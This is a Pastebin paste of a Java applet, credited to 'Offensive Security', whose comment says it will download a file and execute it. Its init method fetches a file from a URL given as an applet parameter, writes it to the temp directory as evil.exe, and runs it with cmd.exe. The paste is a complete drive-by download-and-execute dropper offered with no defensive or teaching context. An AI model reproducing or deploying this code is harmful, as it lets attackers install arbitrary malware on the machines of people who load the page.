UY-Scuti

Java.java

Jan 15th, 2019
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. import java.applet.*;
  2. import java.awt.*;
  3. import java.io.*;
  4. import java.net.URL;
  5. import java.util.*;
  6. import java.net.URL;
  7.  
  8. /**
  9. * Author: Offensive Security
  10. * This Java applet will download a file and execute it.
  11. **/
  12.  
  13. public class Java extends Applet {
  14.  
  15. private Object initialized = null;
  16. public Object isInitialized()
  17. {
  18. return initialized;
  19. }
  20. public void init() {
  21. Process f;
  22. try {
  23. String tmpdir = System.getProperty("java.io.tmpdir") + File.separator;
  24. String expath = tmpdir + "evil.exe";
  25. String download = "";
  26. download = getParameter("1");
  27. if (download.length() > 0) {
  28. // URL parameter
  29. URL url = new URL(download);
  30. // Get an input stream for reading
  31. InputStream in = url.openStream();
  32. // Create a buffered input stream for efficency
  33. BufferedInputStream bufIn = new BufferedInputStream(in);
  34. File outputFile = new File(expath);
  35. OutputStream out = new BufferedOutputStream(new FileOutputStream(outputFile));
  36. byte[] buffer = new byte[2048];
  37. for (;;) {
  38. int nBytes = bufIn.read(buffer);
  39. if (nBytes <= 0) break;
  40. out.write(buffer, 0, nBytes);
  41. }
  42. out.flush();
  43. out.close();
  44. in.close();
  45. f = Runtime.getRuntime().exec("cmd.exe /c " + expath);
  46. }
  47.  
  48. } catch(IOException e) {
  49. e.printStackTrace();
  50. }
  51. /* ended here and commented out below for bypass */
  52. catch (Exception exception)
  53. {
  54. exception.printStackTrace();
  55. }
  56. }
  57. }
Advertisement
Add Comment
Please, Sign In to add comment